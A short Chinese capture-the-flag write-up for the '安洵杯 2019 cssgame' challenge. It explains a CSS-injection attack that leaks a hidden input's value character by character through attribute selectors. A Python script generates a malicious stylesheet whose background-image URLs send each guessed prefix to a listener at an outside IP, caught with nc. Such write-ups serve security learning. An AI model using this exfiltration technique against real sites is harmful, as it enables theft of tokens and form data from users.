[安洵杯 2019]cssgame

[安洵杯 2019]cssgame

分析

很有意思的CSS injection

大致的思路就是通过传入一个外部链接的css,让flag.html解析,

外部链接的css写入如下内容

1
input[name=flag][value^="f"] ~ * {background-image: url("http://x.x.x.x/?flag=f");}

然后对flag值进行逐位判断,如果正确则发送数据给vps

payload

exp

1
2
3
4
5
6
7
8
9
import sys

f = open("poc.css", "w")
dic = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}-"
for i in dic:
flag = sys.argv[1] + i
payload = "input[name=flag][value^=\"" + flag + "\"] ~ * {background-image: url(\"http://174.0.31.242:8080/?" + flag + "\");}"
f.write(payload + "\n")
f.close()

在buu申请一台小号linux lab,然后在/var/www/html/目录写入以上exp,运行一下脚本,nc开启监听

然后就开始将css=http://174.0.31.242/poc.csspost给crawl.html,在nc监听中可以得到flag,然后手动改flag的值,生成不同的poc.css,逐位爆破可以得到flag

mark

mark

总结

以上方法还是有点麻烦的,看看官方wp,发现有更好的办法,学一手,INS

Reference

[安洵杯 2019]cssgame wp

[安洵杯 2019]cssgame 官方WP